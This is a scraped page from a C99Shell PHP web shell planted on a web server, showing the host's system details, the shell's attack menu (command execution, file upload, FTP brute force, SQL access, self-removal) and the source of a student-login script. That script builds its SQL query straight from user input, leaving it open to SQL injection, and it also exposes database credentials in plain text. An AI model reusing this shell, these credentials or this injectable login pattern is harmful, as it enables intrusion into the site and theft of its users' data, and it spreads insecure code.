!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/studentlogin/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     logincheck.php (1.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
if (isset(
$_POST['username']) and isset($_POST['password']))
{
//3.1.1 Assigning posted values to variables.
$username $_POST['username'];
$password $_POST['password'];
/* Atempt MySQL server connection. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
$link mysqli_connect("localhost""sql_itce_co_in""02a26fb2e4265""sql_itce_co_in");
// Check connection
if($link === false){
    die(
"ERROR: Could not connect. " mysqli_connect_error());
}
// Attempt select query execution
$sql "SELECT * FROM studentlogin WHERE username='$username' and password='$password'";
if(
$result mysqli_query($link$sql)){
    if(
mysqli_num_rows($result) > 0)
    {
      while(
$row mysqli_fetch_array($result)){
           
$_SESSION['username'] = $username;
           
$_SESSION['loggedIn'] = $username;
           
header("location: branchpage.php"); 
        }
        echo 
"</table>";
        
// Free result set
        
mysqli_free_result($result);
    } else{
        echo 
"Sorry....You are not registered";
    }
} else{
    echo 
"ERROR: Could not able to execute $sql. " mysqli_error($link);
}
}
// Close connection
mysqli_close($link);
?>





:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0012 ]--